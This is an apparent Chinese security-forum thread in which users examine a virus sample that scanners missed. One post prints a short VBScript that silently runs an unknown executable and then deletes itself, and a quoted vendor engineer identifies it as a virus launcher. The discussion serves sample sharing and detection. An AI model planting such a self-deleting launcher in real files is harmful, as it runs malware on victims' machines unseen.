才发现

显示全部楼层 · 发表于 2017-9-14 16:46:14

https://www.virustotal.com/#/fil ... f349b94ea/detection
VT 0/57

显示全部楼层 · 发表于 2017-9-14 16:49:13

管家扫描miss

显示全部楼层 · 发表于 2017-9-14 16:53:23

On Error Resume Next
Set ws = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.FileSystemObject")
ws.run """Uawsrh01234.exe""",,False
fso.DeleteFile WScript.ScriptFullName

改成txt，就这么一段代码。怎么看出是病毒的？

显示全部楼层 · 发表于 2017-9-14 16:53:25

双击消失了

显示全部楼层 · 发表于 2017-9-14 17:04:50

68221281 发表于 2017-9-14 16:53
On Error Resume Next
Set ws = CreateObject("Wscript.Shell")
Set fso = CreateObject("Scripting.File ...

所以嘛！

显示全部楼层 · 发表于 2017-9-14 17:05:27

猥琐大叔发表于 2017-9-14 16:53
双击消失了

显示全部楼层 · 发表于 2017-9-14 17:20:25

360TSE MISS

显示全部楼层 · 发表于 2017-9-14 17:21:47

您好您上传给我们的是一个病毒的调用器，不是误报。您可以看下同目录下有没有“Uawsrh01234.exe”文件，有的话可以打包上传给我们~感谢

火绒的工程师回复的
http://bbs.huorong.cn/thread-40643-1-1.html

显示全部楼层 · 发表于 2017-9-14 17:22:06

[病毒样本] 才发现

本帖子中包含更多资源

本帖子中包含更多资源

评分

本帖子中包含更多资源